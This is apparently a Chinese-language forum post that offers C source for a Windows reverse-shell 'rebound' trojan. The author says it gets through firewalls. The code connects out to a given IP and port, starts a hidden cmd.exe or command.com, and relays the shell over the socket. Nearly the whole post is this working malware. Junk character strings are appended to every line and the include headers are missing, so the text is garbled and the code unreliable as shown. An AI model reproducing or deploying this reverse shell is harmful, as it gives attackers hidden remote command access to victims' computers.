这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 4np2I~ !
}`w(sec:3
/* ============================== %NkiY iA
Rebound port in Windows NT fS"u"]j*e
By wind,2006/7 Nw. )O
===============================*/ ]0R*F30]
#include Y!M0JSaM
#include %G!!0V!
3P0z$jh"H
#pragma comment(lib,"wsock32.lib") \aJ>?
Osqk#Oh
void OutputShell(); lj]M 1zEz&
SOCKET sClient; "e-Y?_S7R8
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; .JKH=?~\
Tt~4'{Bc
void main(int argc,char **argv) yP]>eLTSd
{ /H<{p$Wd
WSADATA stWsaData; HAH\#WE
int nRet; *<^C0:i(
SOCKADDR_IN stSaiClient,stSaiServer; b]u=Iza
r%;|gIky
if(argc != 3) Y7S1^'E
3
{ dz@+ jEV
printf("Useage:\n\rRebound DestIP DestPort\n"); nq_$!aB_K
return; 9fX0?POG
} Z RjM^
d;
aA?Qr&]M
WSAStartup(MAKEWORD(2,2),&stWsaData); C
O6}D
4S42h_9
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $'\kK,=
3rRIrrYO
stSaiClient.sin_family = AF_INET; m@<,bZkl
stSaiClient.sin_port = htons(0); uRy}HLZ"
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); G+=Gc(J
bg|$1ue
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) j*QdD\)
{ S5JMt;O
printf("Bind Socket Failed!\n"); )L&y@dy)
return; w
yxPvI`
} |r+ x/,2-
4]1/{</B|
stSaiServer.sin_family = AF_INET; 6?,qysm06
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); xtGit}
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); SXsszb:_
B}04E^
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ILCh1=?{9r
{ al#(<4sJ
printf("Connect Error!"); ?J$k
5;
return; #_ulmB;
} Ho(MO!(
OutputShell(); \L>XF'o
} #eYYu2ND
(g;O,`|c,
void OutputShell() -|'@:cIZ
{ -Jd7
char szBuff[1024]; Z+V%~C1
SECURITY_ATTRIBUTES stSecurityAttributes; W)1nc"WqY
OSVERSIONINFO stOsversionInfo; H^Pq[3NQ
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; JX'}+.\
STARTUPINFO stStartupInfo; i3XtrP""
char *szShell; | K|AUI
PROCESS_INFORMATION stProcessInformation; q2#Ebw%]
unsigned long lBytesRead; nOyG7:
JA{kifu0+
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 1!1,{\9%
8@vq.z}
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ;r2DQg"#@
stSecurityAttributes.lpSecurityDescriptor = 0; [DpOI
stSecurityAttributes.bInheritHandle = TRUE; C+\z$/q
MY{Kq;FvRP
"`K_5"F
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); #reR<qp&]
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); n$ByTmKxv
=9,mt
K~
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ]+G\1SN~
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]|F`;} 7
stStartupInfo.wShowWindow = SW_HIDE; Eet/l]e#a
stStartupInfo.hStdInput = hReadPipe; =0&XdxX
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; H.?`90IQ
4r;le5@
GetVersionEx(&stOsversionInfo); pKXSJ"Xo
\ MuKS4
switch(stOsversionInfo.dwPlatformId) #HL$`&m
{ 0qR#o/~I
case 1: W+u@UJi
szShell = "command.com"; +;!^aNJ,
break; eAO@B
default: G>^= Bm_$
szShell = "cmd.exe"; qh bagw~
break; .\H-?6R^
} C=;}7g
w*'DlP<7
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); gD%o0jt"
.z
CkB86
send(sClient,szMsg,77,0); ;xq;c\N
while(1) @<P;F
{ )j]f
]8
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); j*2/[Eq
if(lBytesRead) oTk\r$4eb
{ f`vWCb
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); vy
[7I8f{
send(sClient,szBuff,lBytesRead,0); c-zW
2;|61
} jB -Ad8
else D7R;IA-w
{ 0<A*I{,4L
lBytesRead=recv(sClient,szBuff,1024,0); L?N:4/0;!
if(lBytesRead<=0) break; *#p}FB2H#
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); j}lne^ h
} !]"M]tyv\
} ZLaht(`+
`?&C5*P
return; hJFxT8B/
}